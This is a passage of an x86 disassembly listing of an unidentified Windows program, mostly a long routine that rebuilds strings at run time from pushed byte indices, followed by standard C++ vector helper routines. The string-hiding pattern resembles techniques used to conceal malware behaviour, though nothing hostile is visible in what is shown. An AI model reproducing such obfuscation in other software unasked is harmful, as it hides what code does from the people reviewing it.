		push	eax
		call	sub_401870
		lea	ecx, [esi+0FA3h]
		mov	byte ptr [esp+388h], 30h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+98h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		mov	byte ptr [esp+398h], 31h
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+80h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 32h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0F5Ah]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 33h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+90h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3DCh], 34h
		call	sub_4019C4
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 35h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edi, [esi+0E7Fh]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 36h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+218h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 37h
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 38h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0F11h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 39h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		mov	byte ptr [esp+38Ch], 3Ah
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+84h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Bh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+107Eh]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Ch
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	eax, [esp+10h]
		mov	ecx, offset byte_4D834F
		push	eax
		mov	[esp+14h], edi
		call	sub_401A73
		lea	ecx, [esp+68h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 3Dh
		call	sub_4019C4
		add	esp, 64h
		mov	byte ptr [esp+370h], 3Eh
		mov	ecx, eax
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1234h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Fh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+88h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D4h], 40h
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 41h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+127Dh]
		mov	byte ptr [esp+388h], 42h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1B8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		mov	byte ptr [esp+370h], 43h
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+78h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 44h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+11EBh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 45h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1E8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+80h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3CCh], 46h
		call	sub_4019C4
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 47h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+11A2h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 48h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+90h]
		push	13h
		push	eax
		mov	byte ptr [esp+3DCh], 49h
		call	sub_4019C4
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Ah
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edi, [esi+10C7h]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 4Bh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1A0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		mov	byte ptr [esp+374h], 4Ch
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Dh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1159h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 4Eh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+84h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D0h], 4Fh
		call	sub_4019C4
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 50h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+12C6h]
		mov	byte ptr [esp+388h], 51h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	edx, [esp+10h]
		mov	ecx, offset byte_4D834F
		push	edx
		mov	[esp+14h], edi
		call	sub_401A73
		push	offset byte_448F30
		push	offset word_4E8E5A
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+230h]
		call	sub_40142E
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_40142E
		push	56D2h
		push	539h
		mov	byte ptr [esp+360h], 53h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	eax
		lea	eax, [esp+23Ch]
		push	offset dword_4447F4
		push	eax
		call	sub_40102D
		push	56D2h
		push	539h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	eax
		lea	ecx, [esp+280h]
		push	offset dword_4447F4
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+606h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+64Fh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+805h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+84Eh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+897h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+450h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+499h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+52Bh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+574h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+0B28h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+8E0h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		lea	edx, [esp+278h]
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+3BEh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1E8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+407h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+260h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+5BDh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+188h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+698h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+158h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+72Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+128h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+6E1h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2C0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+773h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2A8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+7BCh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	offset word_4E8E5A
		call	sub_4014D3
		lea	ecx, [esi+251h]
		push	ecx
		mov	ecx, esi
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1A0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+29Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+170h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+2E3h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+0F8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+32Ch]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+248h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+375h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 16Dh
		call	sub_4017EE
		push	eax
		push	offset byte_4493ED
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1B6h
		call	sub_4017EE
		push	eax
		push	offset dword_4493A4
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		call	sub_4017EE
		push	eax
		push	offset dword_449280
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 124h
		call	sub_4017EE
		push	eax
		push	offset word_449312
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 0DBh
		call	sub_4017EE
		push	eax
		push	offset byte_4492C9
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 92h
		call	sub_4017EE
		push	eax
		push	offset byte_44935B
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1FFh
		call	sub_4017EE
		push	eax
		push	offset byte_44947F
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		lea	ecx, [esp+200h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+370h], 54h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+388h], 55h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0A4h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+3A0h], 56h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0C0h], esp
		push	eax
		call	sub_401870
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+3B8h], 53h
		call	sub_40137F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_401226
		lea	ecx, [esp+230h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		mov	byte ptr [esp+358h], 1Dh
		call	sub_401226
		mov	byte ptr [esp+358h], 1Ch
		lea	ecx, [esp+2Ch]
		call	sub_401226
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+358h], 1Bh
		call	sub_401226
		lea	ecx, [esp+2C0h]
		mov	byte ptr [esp+358h], 1Ah
		call	sub_401226
		lea	ecx, [esp+2A8h]
		mov	byte ptr [esp+358h], 19h
		call	sub_401226
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+358h], 18h
		call	sub_401226
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+358h], 17h
		call	sub_401226
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+358h], 16h
		call	sub_401226
		lea	ecx, [esp+0E0h]
		mov	byte ptr [esp+358h], 15h
		call	sub_401226
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+358h], 14h
		call	sub_401226
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+358h], 13h
		call	sub_401226
		lea	ecx, [esp+1D0h]
		mov	byte ptr [esp+358h], 12h
		call	sub_401226
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+358h], 11h
		call	sub_401226
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+358h], 10h
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+358h], 0Fh
		call	sub_401226
		lea	ecx, [esp+0F8h]
		mov	byte ptr [esp+358h], 0Eh
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+358h], 0Dh
		call	sub_401226
		lea	ecx, [esp+2F0h]
		mov	byte ptr [esp+358h], 0Ch
		call	sub_401226
		lea	ecx, [esp+320h]
		mov	byte ptr [esp+358h], 0Bh
		call	sub_401226
		lea	ecx, [esp+2D8h]
		mov	byte ptr [esp+358h], 0Ah
		call	sub_401226
		lea	ecx, [esp+308h]
		mov	byte ptr [esp+358h], 9
		call	sub_401226
		lea	ecx, [esp+338h]
		mov	byte ptr [esp+358h], 8
		call	sub_401226
		lea	ecx, [esp+0C8h]
		mov	byte ptr [esp+358h], 7
		call	sub_401226
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+358h], 6
		call	sub_401226
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+358h], 5
		call	sub_401226
		lea	ecx, [esp+68h]
		mov	byte ptr [esp+358h], 4
		call	sub_401226
		lea	ecx, [esp+0B0h]
		mov	byte ptr [esp+358h], 3
		call	sub_401226
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+358h], 2
		call	sub_401226
		mov	byte ptr [esp+358h], 1
		lea	ecx, [esp+1E8h]
		call	sub_401226
		lea	ecx, [esp+80h]
		mov	byte ptr [esp+358h], 0
		call	sub_401226
		lea	ecx, [esp+98h]
		mov	dword ptr [esp+358h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+350h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 350h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 5E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409530	proc near		; CODE XREF: sub_401474j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_401983
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_409548
		mov	ecx, esi
		call	sub_40191A
; ---------------------------------------------------------------------------


loc_409548:				; CODE XREF: sub_409530+Fj
		mov	ecx, esi
		call	sub_401A46
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_409530	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409570	proc near		; CODE XREF: sub_401A73j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40128A
		push	eax
		mov	ecx, esi
		call	sub_401695
		pop	esi
		retn	4
sub_409570	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095A0	proc near		; CODE XREF: sub_401A46j
		mov	eax, [ecx+4]
		retn
sub_4095A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095C0	proc near		; CODE XREF: sub_40128Aj
		mov	eax, [ecx+8]
		retn
sub_4095C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095E0	proc near		; CODE XREF: sub_401983j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_4095EA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4095EA:				; CODE XREF: sub_4095E0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_4095E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409610	proc near		; CODE XREF: sub_401695j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401A46
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_401BAE
		mov	ecx, edi
		call	sub_401A46
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_409610	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409660	proc near		; CODE XREF: sub_40191Aj

var_40		= byte ptr -40h
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_C		= dword	ptr -0Ch

		push	0FFFFFFFFh
		push	offset SEH_409660
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3Ch+var_39]
		lea	ecx, [esp+3Ch+var_38]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		call	near ptr 76081F67h
		nop
		lea	ecx, [esp+44h+var_40]
		mov	[esp+44h+var_C], 0
		push	ecx
		lea	ecx, [esp+48h+var_30]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+48h+var_34]
		push	offset dword_440088
		push	edx
		call	sub_437B22
sub_409660	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4096E0	proc near		; CODE XREF: sub_401BAEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_4097AB
		mov	ecx, esi
		call	sub_401983
		cmp	edi, eax
		jnb	short loc_409713
		mov	ecx, esi
		call	sub_401983
		mov	ebp, eax
		jmp	short loc_409715
; ---------------------------------------------------------------------------


loc_409713:				; CODE XREF: sub_4096E0+26j
		mov	ebp, edi


loc_409715:				; CODE XREF: sub_4096E0+31j
		mov	ecx, esi
		call	sub_401983
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401CC1
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4016E0
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401177
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4016E0
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401717
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_401983
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
